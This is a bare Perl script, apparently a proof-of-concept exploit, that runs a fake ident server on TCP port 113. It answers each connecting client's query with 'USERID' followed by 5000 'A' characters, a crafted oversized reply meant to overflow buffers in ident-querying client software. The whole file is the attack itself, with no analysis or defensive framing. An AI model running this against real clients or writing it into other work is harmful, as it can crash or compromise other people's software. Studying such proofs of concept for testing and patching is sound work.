#!/usr/bin/perl

use warnings;
use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(
        LocalPort       => 113,
        Proto           => 'tcp',
        Listen          => 1) or die "$!";

my $nsoq = $sock->accept();
while (<$nsoq>)
{       print "<-- $_";
        print $nsoq "USERID " . "A" x 5000;
        print "--> USERID AAAA..... x 5000\n";
}
close $nsoq;
close $sock;
print "done.\n";
exit -1;